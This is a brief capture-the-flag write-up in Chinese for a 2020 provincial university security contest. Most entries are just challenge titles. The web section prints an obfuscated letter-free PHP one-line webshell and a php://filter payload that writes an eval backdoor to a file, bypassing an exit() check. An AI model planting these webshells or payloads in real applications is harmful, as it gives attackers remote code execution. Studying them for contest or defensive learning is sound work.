2020年江西省大學生資訊保安技術大賽Writeup

一、WEB

0x01 web1-找色差嘛

題解1-官方

題解2-江西軟體職業技術大學

burpsuite 抓包直接改傳參，返回包裡面存有flag

0x02 web2

這道題好像是官方配置有問題，在一個容器裡面有多個漏洞環境，很容易getshell，但是找不到flag，官方最後換了題

題解1-無

0x03 web3-Easy_console

題解1-官方

題解2-江西軟體職業技術大學

這題試了挺多方法的

慢日誌寫shell 失敗

寫日誌getshell 失敗

最後在檔案上傳位置上傳getshell

無字母一句話getshell

<?php $__=[]; $_=($__==$__); $__=~(融); $___=$__[$_]; $__=~(匆); $___.=$__[$_].$__[$_]; $__=~(隨); $___.=$__[$_]; $__=~(千); $___.=$__[$_]; $__=~(苦); $___.=$__[$_]; $____=~(~(_)); $__=~(詩); $____.=$__[$_]; $__=~(塵); $____.=$__[$_]; $__=~(欣); $____.=$__[$_]; $__=~(站); $____.=$__[$_]; $_=$$____; $___($_[_]);

0x04 web4-Ezexit

題解1-官方

題解2-江西軟體職業技術大學

https://xz.aliyun.com/t/7457

path=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../h.php

二、MISC

Different_P

奇怪的雜項

神祕檔案

newbie_rsa

三、REVERSE

ReMe

findme

四、PWN

easy_rop

Summeron

五、CRYPTO

babyCrypto

港獨密報